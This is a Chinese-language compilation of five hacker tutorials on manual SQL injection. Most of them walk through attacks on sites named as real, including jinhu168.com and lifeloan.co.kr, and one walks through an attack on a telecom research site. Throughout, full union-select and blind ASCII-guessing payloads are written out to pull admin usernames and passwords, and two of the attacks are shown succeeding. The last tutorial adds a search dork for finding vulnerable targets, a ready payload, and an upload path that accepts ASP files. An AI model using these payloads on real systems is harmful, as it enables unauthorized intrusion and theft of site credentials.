【导语】“wangni”通过精心收集,向本站投稿了5篇手工注入脚本安全,以下是小编精心整理后的手工注入脚本安全,供大家参考借鉴,希望可以帮助到有需要的朋友。
- 目录
篇1:手工注入脚本安全
现在注入工具横行,自动化的程度已经...不能再自动了.
很多人会熟练的使用啊D,明小子之类的自动注入工具.以为自己就会了...
注入的原理呢.什么是注入.为什么会造成注入.过程...等.
你知道吗?你有没有试过真正的手工注入?没吧.
现在就利用我写的手工注入工具来讲解一下总体手工注入过程.
先找个有注入漏洞的站.很简单满大街都是.
www.jinhu168.com/A3/NewsInfo.asp?id=75
manage_User
username admin
password bfpms
id 35
已经找好了.这是一个标准欠黑型网站.安全度就不用说了.
www.jinhu168.com/A3/NewsInfo.asp?id=75
有注入漏洞的地址.检查一下.
基本确定可能有漏洞.继续.
www.jinhu168.com/A3/NewsInfo.asp?id=75 and exists (select * from manage_User)
查询manage_User这个表名是否存在.
不好意思.这工具老出错...录制这个工具不怎么好用.有好用的有空介绍个啊....
好了继续.
manage_User 存在...页面返回正常...
名字改了下`不存在就返回错误的页面`
这里是给你填写提示语句用的`不用的话清空就行了.
继续.
返回正常.说明存在.继续.等等`听电话`
不好意思.
不是1位哦`回显错误.呵呵`5位的`回显正常`
这样我们就知道 他很多东西了`表..项..还有内容长度.
帐号的第一位的第一个字母不是1所以出错.
呵呵`帐号的第一位的第一个字母是a 正确...所以回显正常.
帐号是什么我想都不用怎么想了吧`5位数的admin
确实是的哦....哈哈.
www.jinhu168.com/A3/NewsInfo.asp?id=75 and 1=(select count(*) from [manage_User] where left(username,5)='admin')
为了给大家学习.我把例句都提取出来了.和程序过程是一样的,大家可以研究下.
其他的密码等也是这种过程. 大家明白了吗?要难不是很难`只是要有耐心.如果简单的话就不会出现
全自动的注入工具了.
希望大家在使用我的工具的同时也能学到点东西.
篇2:和我一起学PHP手工注入脚本安全
作者:冰的原点[L.S.T]
看了这么多的ASP注入的,各位是不是已经厌倦了ASP方面的注入呢?呵呵,千万不能厌倦呀,只有不断的学习,才不会被别人甩很远的!那么今天就跟着我一起学习下PHP环境下的手工注入吧.
今天的网站是一韩国的站点,注入点我已经找到了,大家如果怕麻烦的话,可以用啊D找下注入点,其实啊D不仅能找出ASP环境下的注入点,而且PHP,ASPX以及JSP的都可以找出来的哦,截张图大家看下,如图1.
其实找注入点这种事对啊D来说还是很容易的,不过接下来的事就得靠我们自己的双手来进行了.回到正文上,我们首先要判断下数据库是不是使用的mysql,在注入点处输入/*,如果正常返回的话就说明是mysql的了,因为mysql数据是支持/*的注释的,如图2,返回正确页面,然后我们得判断下mysql的版本,如果支持union查询就好办多了,我们在注入点处输入如下语句:and ord(mid(version,1,1))>51/*,返回正常,如图3..说明数据库版本是大于4.0的,也就是说支持union查询的.到这里我们最好先判断下权限,如果是root的话后面的提权就好办多了,我们提交:ord(mid(user(),1,1))=114/*,返回错误,说明不是root的权限,只能老老实实的猜表啦.好,接下来猜它的字段数,利用order by 后面加数字的方法能够很快猜出字段数,例如我提交:www.xx.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5 order by 10,返回正常,说明字段数大于10的,如图4,继续猜,然后提交www.xx.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5 order by 20,返回错误,如图5,说明字段数小于20,接下来就是苦力活了,当我们提交www.xx.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5 order by 17正常,而www.xx.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5 order by 18时错误,说明字段数就是17了,接下来就得猜列名了咯,我们提交:www.lifeloan.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5%20%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*如图6.在网页中显示出的数字中替换成我们的语句,我们继续提交,www.lifeloan.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5%20%20and%201=2%20union%20select%201,2,3,4,version(),user(),7,8,9,10,11,12,13,14,15,16,17/*,如图7,出现了版本号和当然数据库用户名了,接下来当然是猜表啦,首先我们想到的当然是admin这个表啦,继续提交:www.lifeloan.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5%20%20and%201=2%20union%20select%201,2,3,4,version(),user(),7,8,9,10,11,12,13,14,15,16,17%20from%20admin/*返回正常,说明存在admin这个表的,接下来就是最关键的地方了,我们得猜下用户名和密码的,提交:www.lifeloan.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5%20%20and%201=2%20union%20select%201,2,3,4,version(),user(),username,8,9,10,11,12,13,14,15,16,17%20from%20admin/*返回错误,看来不存在username这个列名,接下来就是漫长的猜解过程啦,可是始终没有猜到用户名,不过倒是把ID和密码猜出来的,我提交的语句是这样的:www.lifeloan.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5%20%20and%201=2%20union%20select%201,2,3,4,version(),user(),id,passwd,9,10,11,12,13,14,15,16,17%20from%20admin/*,呵呵,暴出来了,如图8文章到这里就要结束了,其实在乎只是这个过程而已,没有暴出用户名,而且后面的后台也没有找到,所以就只能放一放啦!不过,希望各位叉子能从本文学点东西的话,本文就会有它的价值了!
篇3:注入笔记手工注入字符型注入漏洞脚本安全
今天给大家讲解一下字符型注入点注入,也许很多朋友看到字符型的注入大部分都是放弃此注入去寻找其他数字型注入,因为字符型注入应用的不是很广泛,好了,这里我就来交大家字符型注入,
首先打开localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包 /很明显,字符型注入,
前几张我们说到了判断字符型注入的语句是' and '1'='1 和' and '1'=2 我们来看看。
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+'1'='1 返回正常。
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+'1'='2 返回错误。
我们确定了注入点那么我们先看看数字型注入能否在这里使用
先用联合查询 order by
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包+order+by+1 很明显,出错啦,不可使用。
那么再用半猜解查询试试
同样出错。
看来字数字型注入在字符型注入中失效啦,那么我们来试试
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+count(*)+from+Manage_User)>0+and+''=' 返回了正常,说明存在manage_user表。
在sql语句中字符型参数必须用单引号闭合(')否则会出错。所以我们在注入中也先要用单引号来闭合语句。
下面我们来猜字段名。
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(username)+from+Manage_User)>0+and+''=' 返回正常,存在,
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(password)+from+Manage_User)>0+and+''=' 返回正常,存在。
这里我只截一张图。
下面判断一下username中字段长度
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(password)+from+Manage_User)>4+and+''=' 返回正常
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(password)+from+Manage_User)=5+and+''=' 返回正常
密码字段省略。下面进行猜解用户名。
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+count(*)+from+manage_user+where+asc(mid(username,1))=97)+and+''=' 返回正常,username表中第一位是ascll码97,明文为:a
接着猜解第二位:localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+count(*)+from+manage_user+where+asc(mid(username,2))=100)+and+''='
返回正常,username字段中第二位ASCLL码为100,名为为d
这里之后依次往下猜,最后得到username表中数据为:admin,打开数据库看一下是否一样。
这里说明我们猜解正确。
篇4:某网站安全检测之数据库手工注入脚本安全
一、引子
长夜慢慢,无心睡眠……
无意中翻到几年前听的一首名为《祖先的阴影》的摇滚,这么长久的历史,混合着许多的罪恶与功绩;这么“灿烂的文化”,夹杂着太多的愚昧与文明,美好的,如汉字,围棋古筝,诗词曲赋等;糟糕的,如一辈子只会干“杀尽叛贼、占据王位,选好王妃,建造坟堆”四件事的皇帝及官僚制度,小脚,太监及八股文等等。
噢,且慢,八股文——不要言之过早!今天,让我用八股文这一旧瓶,来包装一下IT方面的新酒;把数据库注入这一有几个年头的安全技术,再写一篇略有新意的文章。
二、概要
所谓数据库注入,也就是SQL Injection,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。来自官方的说法是:“当应用程序使用输入内容来构造动态SQL语句以访问数据库时,会发生SQL注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生SQL注入攻击。SQL注入可能导致攻击者能够使用应用程序登录在数据库中执行命令。如果应用程序使用特权过高的帐户连接到数据库,这种问题会变得很严重。”在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入攻击。而许多网站程序在编写时,没有对用户输入数据的合法性进行判断或者程序中本身的变量处理不当,使应用程序存在安全隐患。这样用户就可以提交一段数据库查询代码,(一般是在浏览器地址栏进行,通过正常的www端口访问)根据程序返回的结果,获得一些敏感的信息或者控制整个服务器,于是SQL注入产生了。其实简单点说,SQL注入的原理就是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取你想到得到的资料。
当然,能不能构造、构造什么样的数据库查询代码,就有是菜鸟和高手的区别了;同时我向大伙保证:我绝不是高手——我基本上连数据库都不会用,所以大伙看了文章后不要问我太多太深的问题,因为我也不知道。
三、检测
查找资料的过程中,被链接到某电信技术研究院网站,看了一下首页代码及链接,用and和or简单测试了一下,没发现什么,在最后快要放弃的时候,发现如下页面有点意思。
1=1(不正常)
1=2(也不正常)
加一个特殊符号,则如下图示。
(返回正常)
(返回异常)
嘿嘿,存在注入,心花怒放!
四、暴库
上面就可以知道该网站后台数据库是MS SQL Server。
(select count(*) from [sysobjects])>=0(返回正常,可见数据库为SQL Server)
探测该网站数据库实例名,我很幸运,竟然通过错误暴出来,请看下图。
SQL Server中DB_NAME 最大值是NVARCHAR(128),我提交错误,网站也报错,看红色下划线处和红色长方形里,可见数据库实例名为jstrd。
五、寻表
漫长而痛苦的工作开始了,同时因为在创建一个数据库的同时,系统会自动建立一些系统表,我构造了如下的语句,来探测数据库实例jstrd中的表名。
限于篇幅的缘故我在这里只介绍与应用实例有关的一个系统表(SYSOBJECTS)及其相关的字段。
表SYSOBJECTS为数据库内创建的每个对象(约束,规则,表,视图,触发器等)创建一条记录。该表相关字段的含义如下:
SYSOBJECTS.name 对象名,如:表名,视图名。
SYSOBJECTS.id 对象id。
SYSOBJECTS.type 对象类型(p存储过程,v视图,s系统表,u用户表)。
太帅了,返回正确,提交的“系统态”语句是:
*/show_products.asp?id=22%27%20and%20%28Select%20count%28%2a%29%20from%20jstrd..%5bsysobjects%5d%20where%20xtype=char%28117%29%20and%20left%28jstrd..%5bsysobjects%5d.name%2c0%29=char%2832%29%20and%20len%28jstrd..%5bsysobjects%5d.name%29%3e0%29%3e0%20and%20%271%27=%271&classid=1
翻译成我们容易识别的“用户态”(以后都用这种形式表示)是:
*/show_products.asp?id=22'and (Select count(*) From jstrd..[sysobjects] where xtype=char(117) and left(jstrd..[sysobjects].name,0)=char(32) and len(jstrd..[sysobjects].name)>0 and abs(ascii(substring(jstrd..[sysobjects].name,1,1)))<=67)>0 and '1'='1&classid=1
或许各位要懵了,这都是些什么东西啊,乱七八糟的?我笑而不答,谜底将在后面揭开。但事先点一下:
xtype是那张表的一个字段,xtype=char(117) 也就是xtype='U' 意思是取用户的表。空格(Space)的ASCII编码是32。
历经多次的失败后,在如下语句输入时,探测到我认为是存储用户名和密码的一张表(之前也探测到别的表,但我认为对自己没有用,
并且要说一下的是当我探测到有TblAd之后,我直觉得加上了TblAdmin;后来发现还没完,有TblAdminUs之后,我直觉得加上了TblAdminUser)。
*/show_products.asp?id=22'and (Select count(*) From jstrd..[sysobjects] where xtype=char(117) and left(jstrd..[sysobjects].name,11)=CHAR(84)+CHAR(98)+CHAR(108)+CHAR(65)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110)+CHAR(85)+CHAR(115)+CHAR(101) and len(jstrd..[sysobjects].name)>11 and abs(ascii(substring(jstrd..[sysobjects].name,12,1)))=114)>0 and '1'='1&classid=1
可见有TblAdminUser这么一张表,我们可以再测试一下,如下图。
and (select count(*) from TblAdminUser)>0
六、探列
各位看到这里,上面的谜底很可能都明白了。什么,还有不明白的!那好,告诉你:网站及后台系统理会我上面所说的“系统态”,不理会“用户态”。你们看看如下两个表。
(部分Unicode编码表)
(部分ASCII编码表)
刚才寻到了表,现在我们的工作是探列了,综合运用上面提到过的知识,加上我的直觉猜测里面应该就有username和password两个列,果然!请看下图。
*/show_products.asp?id=22'and (Select count(*) from jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].username,0)=char(32) and len(jstrd..[TblAdminUser].username)>0)>0 and '1'='1&classid=1
*/show_products.asp?id=22'and (Select count(*) From jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0 and abs(ascii(substring(jstrd..[TblAdminUser].password,1,1)))=106)>0 and '1'='1&classid=1
七、结果
冲锋的号角已经响起,胜利在望;可“行百里者,半于九十”,真正要花大半功夫的地方,也在这。
*/show_products.asp?id=22'%20and%20(Select%20count(*)%20From%20jstrd..[TblAdminUser]%20where%20%20left(jstrd..[TblAdminUser].username,0)=char(32)%20and%20len(jstrd..[TblAdminUser].username)>0%20and%20abs(ascii(substring(jstrd..[TblAdminUser].username,1,1)))=97)>0%20and%20'1'='1&classid=1
可见username列中,第一个字符是a (ASCII编码为97),很快,就猜测到了是admin。
判断password列中,第一个字符应该在g之后,如下图示。
*/show_products.asp?id=22' (Select count(*) From jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0 and abs(ascii(substring(jstrd..[TblAdminUser].password,1,1)))>103)>0 and '1'='1&classid=1and
很快,就猜到了是j,呵呵,有点意思。如下图示。
*/show_products.asp?id=22'and (Select count(*) From jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0 and abs(ascii(substring(jstrd..[TblAdminUser].password,1,1)))=106)>0 and '1'='1&classid=1
历经千辛万苦后,我终于找到了全部密码,竟然是*********
轻松找到后台,登陆,果然正确!如下图示。
八、尾声
因为这份文档主要侧重数据库手工注入,所以注入成功获得网站控制权后的进一步渗透不作介绍。在这里,是我抛出一块破砖,引大伙收获更多的良玉。个人感觉,注入能成功,得益于以下三点:
1、Unicode编码和ASCII编码的应用;
2、系统会自动建立的系统表sysobjects的应用;
3、db_name最大长度128的应用,加上一些直觉判断。
整个过程,耗了近一个星期的业余时间,此时,又是一个深夜……
夜色沉沉,睡意浓浓。
篇5:一次枫叶防注入程序漏洞手工入侵脚本安全
该程序采用枫叶通用防注入1.0asp版,此程序pro_show.asp处存在cookies注入或者变型注入漏洞,到目前为止还是有很多网站任然没有修复这个漏洞,也有些网站简单采取了防注入(据说可以绕过哦),
百度关键字:inurl:pro_show.asp?showid=
注入前可以先判断一下字段数:www.xxx.com/pro_show.asp?showid=17 order by 28
注入语句:www.xxx.com/pro_show.asp?showid=17 and 1=1 union select 1,username,3,4,5,6,7,8,9,10,password,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from lei_admin
字段数自己判断,我试了2个网站都是28,至于密码有明文也有md5加密的,后台自找,
后台上传地址:admin/inc/upfile.htm 可直接上传asp文件
★ 脚本范文
★ 利用双字节编码突破PHP单引号转义限制进行SQL注入脚本安全
★ 利用GBK双字节编码突破PHP单引号转义限制进行SQL注入脚本安全
★ 脚本写作范文
★ Linux服务器安全初始化Shell脚本linux服务器应用
★ 汽车广告脚本范文
手工注入脚本安全(共5篇)




